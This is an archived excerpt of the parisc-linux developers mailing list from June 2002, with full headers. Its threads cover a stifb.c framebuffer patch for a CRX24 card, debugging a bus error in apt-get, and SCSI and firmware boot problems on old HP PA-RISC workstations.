X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:44 +0000 (UTC)
To: Steve Pacenka <spacenka@lightlink.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 15:54:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D37B3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 15:54:02 -0600 (MDT)
Original-Received: (qmail 19130 invoked by uid 0); 17 Jun 2002 21:54:00 -0000
Original-Received: from pd9e08563.dip.t-dialin.net (HELO P100.helgenet.de) (217.224.133.99)
  by mail.gmx.net (mp006-rz3) with SMTP; 17 Jun 2002 21:54:00 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <1024334656.1594.311.camel@romano-nyswri>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15124

Hi Steve,

I applied your suggested changes to the CVS kernel 2.4.18-pa38. 
Since I don't have such a graphics card and can't test any changes here, 
please let me know if I did it correctly.

Greetings,
Helge

On Monday 17 June 2002 19:24, Steve Pacenka wrote:
> Friends,
>
> I posted a request for advice about this on the list a couple of weeks
> ago.  The 0.9.3 CD installed well, and then I did a dist-upgrade and
> fiddled with kernel compiles to get fbcon and X going.
>
> 1. Trial and error within the kernel led to two one-line insertions in
> stifb.c (starting with 1.30.2.1 in CVS) enabled CRX24 framebuffer
> (a.k.a. HPA1439A) initialization at 32 bpp and correctly blanked the
> text overlay plane.  Welcome to the penguin and color text.
>
> Change #1: In function
>
>   stifb_init_fb(struct sti_struct *sti, int force_bpp)
>
> of /usr/src/linux/drivers/video/sti/stifb.c insert
>
>   (fb->id != S9000_ID_A1439A) &&
>
> as another line within the #if 1 #endif hack that prevents
> initialization of any but the listed hardware.
>
>
> Change #2: In function
>
>   stifb_set_disp(struct stifb_info *fb)
>
> insert
>
>   ngleClearOverlayPlanes(fb, 0xff, 0);
>
> before the break; within the "clear attribute planes" switch for this
> case.
>
> Change #3: Verify these settings in /usr/src/linux/.config
>
>   CONFIG_FBCON=y
>   CONFIG_FBCON_CFB8=y
>   CONFIG_FBCON_CFB32=y
>   CONFIG_FBCON_STI=y
>
> (CFB8 is for a forthcoming test of 8-bit depth. 24 bits unaccelerated is
> somewhat slow with X on this box.)
>
>
> 2. Telling XF86Config-4 that there is a 32 bit framebuffer having 24 bit
> depth allowed X to start.  Welcome to a Gnome 1.4 splashscreen.
>
>
> Performance of the console framebuffer is not bad, slightly slower than
> the monochrome text that preceded it.  It's nice to have color.  No
> apparent problems with the default font and 24bpp.
>
> Performance under X was better than I expected considering the CPU
> speed, the 24 bit depth, and the non-acceleration.  An 8-bit depth (if
> achievable) and a lighter weight desktop than gnome+sawfish (windowmaker
> perhaps) could get X close to routinely usable.  Except for a frequently
> unresponsive serial mouse (very old M$ mouse) I experienced no basic
> problems within X.
>
> -- thanks, SP




From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unaligned access failures with apt-get on SMP
Date: Mon, 17 Jun 2002 18:11:03 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <200206172211.g5HMB37o013874@hiauly1.hia.nrc.ca>
References: <1024346629.27050.52.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621405 9083 80.91.229.3 (22 Nov 2014 01:56:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, richard_hirst@linuxcare.com
To: rbradetich@uswest.net (Ryan Bradetich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 17 16:11:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DC514836
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Jun 2002 16:11:10 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5HMB4FN013875;
	Mon, 17 Jun 2002 18:11:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5HMB37o013874;
	Mon, 17 Jun 2002 18:11:03 -0400 (EDT)
In-Reply-To: <1024346629.27050.52.camel@beavis> from "Ryan Bradetich" at Jun 17, 2002 02:43:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15125

> (gdb) n
> 263	   return Result/ItemSize;
> 
> (gdb) n
> 
> 260	   I->Count--;
> (gdb) n
> 
> Program received signal SIGBUS, Bus error.
> DynamicMMap::Allocate(unsigned long) (this=0x4c900, ItemSize=56) at
> contrib/mmap.cc:263
> 263	   return Result/ItemSize;
> 
> 
> It looks like the the function gets exited twice.... but I do not see
> any recursion in the function, and the function is not listed twice
> in the origional back trace I posted.  Do we have a corrupt stack?
> or can you think of anything else?  I would be glad to provide any

I don't think the function exits twice.  The duplication in lines as
you step through the function is caused by optimisation.  A similar
effect is observable in the value for ItemSize printed at the
initial break.  If you print r25 at the break, you should see the
value 56.  The initial printout is wrong because the break is before
the point where the argument register is copied to the register or
stack slot for ItemSize.  It's also possible that the register of
stack slot used for ItemSize may get reused later in the function.
The fun and games of debugging!

If you put a break on line 263 and single step from that point you
should find the exact assembly insn causing the bus error and be able
to determine what's causing the bus error.

If the problem looks like a compilation error as opposed to a coding
problem, send me offline the preprocessed source, the assembly output for
DynamicMMap::Allocate(unsigned long) from your compiler, and the
compilation command.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 24bit colour
Date: Tue, 18 Jun 2002 11:05:59 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> <20020610203815.8349B380D5@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621405 9085 80.91.229.3 (22 Nov 2014 01:56:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:45 +0000 (UTC)
Cc: s-clarob@st-aidans.cumbria.sch.uk,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 18 03:45:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FE9E4830
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 03:45:58 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17KEw3-0002HU-00; Tue, 18 Jun 2002 11:05:59 +0200
In-Reply-To: <20020610203815.8349B380D5@carmen.fc.hp.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15126

Hi Matt,

Quoting Matt Taggart <taggart@carmen.fc.hp.com>:

> 
> The Color Recovery extension is only available in the HP-UX Xserver. No
> one 
> has been able to run the HP-UX Xserver on palinux yet.
> 

Any idea howto:
1) install
2) configure

I would try something to make my b2000 internel fxe running X.

Thanks for advice,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 24bit colour
Date: Tue, 18 Jun 2002 12:11:04 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020618121104.E9435@parcelfarce.linux.theplanet.co.uk>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> <20020610203815.8349B380D5@carmen.fc.hp.com> <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621405 9086 80.91.229.3 (22 Nov 2014 01:56:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:45 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	s-clarob@st-aidans.cumbria.sch.uk,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 18 05:11:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5370A4839
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 05:11:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17KGt6-0005ge-00; Tue, 18 Jun 2002 12:11:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be>; from joel.soete@freebel.net on Tue, Jun 18, 2002 at 11:05:59AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15127

On Tue, Jun 18, 2002 at 11:05:59AM +0200, joel.soete@freebel.net wrote:
> Quoting Matt Taggart <taggart@carmen.fc.hp.com>:
> > The Color Recovery extension is only available in the HP-UX Xserver. No
> > one 
> > has been able to run the HP-UX Xserver on palinux yet.
> > 
> 
> Any idea howto:
> 1) install
> 2) configure
> 
> I would try something to make my b2000 internel fxe running X.

it's probably less work to teach XFree86 how to talk to your gfx card
than it is to get the HPUX X server to run on Linux.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Audette" <Mike.Audette@synopsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Tue, 18 Jun 2002 16:35:48 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621406 9087 80.91.229.3 (22 Nov 2014 01:56:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:46 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 18 14:35:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boden.synopsys.com (boden.synopsys.com [204.176.20.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79D7C482F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 14:35:59 -0600 (MDT)
Original-Received: from maiden.synopsys.com (maiden.synopsys.com [146.225.100.170])
	by boden.synopsys.com (Postfix) with ESMTP id C24D3DD55
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 13:35:58 -0700 (PDT)
Original-Received: from boston.synopsys.com (localhost [127.0.0.1])
	by maiden.synopsys.com (8.9.1/8.9.1) with ESMTP id NAA12472
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 13:36:27 -0700 (PDT)
Original-Received: from maudettec800 (dhcp-146-225-129-157.synopsys.com [146.225.129.157])
	by boston.synopsys.com (8.9.1/8.9.1) with SMTP id QAA12068
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 16:35:55 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15128

When the kernel boots it gets hung up trying to probe sda with the
following:

SCSO host 0 abort (pid 0) timed out resetting
SCSI bus is being reset for host 0 channel 9
ncr53c8xx_reset: pid 0 reset_flags=2 serial_number=84
serian_number_at_timeout=84
ncr53c720-0: suspicious SCSI data while resetting the BUS
ncr53c720-0:
dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,ath,msg,c/d,i/o=0X4020029, expecting
0x100

Any way around this.  This drive boots up just fine with the HP-UX10.20 that
is installed on it.

			-Thanks!
			   Mike




From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim ter Laak <timl@scintilla.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Tue, 18 Jun 2002 22:41:04 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0206182235280.13201-100000@utelscin.scintilla>
References: <adn_159_0_@dionis.kfti.knc.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621406 9088 80.91.229.3 (22 Nov 2014 01:56:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:46 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Masliy Alex <masliy@kfti.knc.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 18 14:41:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from utelscin.el.utwente.nl (utelscin.el.utwente.nl [130.89.17.165])
	by dsl2.external.hp.com (Postfix) with SMTP id E0E314834
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 14:41:13 -0600 (MDT)
Original-Received: (qmail 13939 invoked by uid 699); 18 Jun 2002 20:41:04 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 18 Jun 2002 20:41:04 -0000
X-Sender: timl@utelscin.scintilla
In-Reply-To: <adn_159_0_@dionis.kfti.knc.ru>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15129

On Sat, 15 Jun 2002, Masliy Alex wrote:

> On Sat, 15 Jun 2002 09:52:09 +0200
> Ralf Hildebrandt <Ralf.Hildebrandt@charite.de> wrote:
> 
> >> At first, I tried to install from CDROM. In the proccess of booting the
> >> following messages were printed:
> >> ---------------
> >> Trying to scsi.4.0
> >> Failed to initialize scsi.4.0
> >> ENTRY_INIT status = -13
> RH> Hmm. Was this drive working with that box under HP-UX?
>     Yes, of course. I was mounted the Debian Install Disk under HP-UX.
>     But it is old device (August 1993). 
> 
I have the exact same problem on this hardware. As long as I boot the
kernel from network, the whole linux system comes up fine. But the BIOS
won't load the PALO from disk. :-( Throw in the old UX disk, and it just
boots.
I know there's a firmware update for the faster 715's (66MHz and
up). Could this be a firmware bug? 

Tim.




From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP PA 715/50 installation trouble
Date: Tue, 18 Jun 2002 22:44:04 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20020618204404.GC18927@charite.de>
References: <adn_159_0_@dionis.kfti.knc.ru> <Pine.LNX.4.21.0206182235280.13201-100000@utelscin.scintilla>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621406 9092 80.91.229.3 (22 Nov 2014 01:56:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:46 +0000 (UTC)
Cc: Masliy Alex <masliy@kfti.knc.ru>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Tim ter Laak <timl@scintilla.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 18 14:44:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E4084859
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Jun 2002 14:44:08 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 8869215C00A; Tue, 18 Jun 2002 22:44:06 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 0E771633A8; Tue, 18 Jun 2002 22:44:04 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0206182235280.13201-100000@utelscin.scintilla>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15130

Am 18.06.2002 um 22:41:04 +0200 schrieb Tim ter Laak folgendes:

> I have the exact same problem on this hardware. As long as I boot the
> kernel from network, the whole linux system comes up fine. But the BIOS
> won't load the PALO from disk. :-( Throw in the old UX disk, and it just
> boots.
> I know there's a firmware update for the faster 715's (66MHz and
> up). Could this be a firmware bug? 

Maybe. You can perform a firmware update using tftp and bootp, its just
like booting the kernel.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Computer /nm./: a device designed to speed and automate errors.
                                       -- From the Jargon File. 




From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Wed, 19 Jun 2002 09:20:28 +0200 (CEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <1024471228.3d1030bc9e9e8@webmail.tiscalinet.be>
References: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621407 9094 80.91.229.3 (22 Nov 2014 01:56:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Audette <Mike.Audette@synopsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 01:20:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F2CD482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 01:20:45 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17KZlU-0007z9-00; Wed, 19 Jun 2002 09:20:28 +0200
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15131

Quoting Michael Audette <Mike.Audette@synopsys.com>:


> SCSI bus is being reset for host 0 channel 9
> ncr53c8xx_reset: pid 0 reset_flags=2 serial_number=84
> serian_number_at_timeout=84
> ncr53c720-0: suspicious SCSI data while resetting the BUS
> ncr53c720-0:
> dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,ath,msg,c/d,i/o=0X4020029,
> expecting
> 0x100
> 

External disk? (scsi id 9?)
If it is an external disk, check the scsi chaine (frequently no or not proper
scsi terminator).
If it is an internal disk, check that entension connector are also 'closed' by
proper scsi terminator.

Good luck,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Wed, 19 Jun 2002 08:21:47 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020619072147.GB1244@tykepenguin.com>
References: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621407 9099 80.91.229.3 (22 Nov 2014 01:56:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
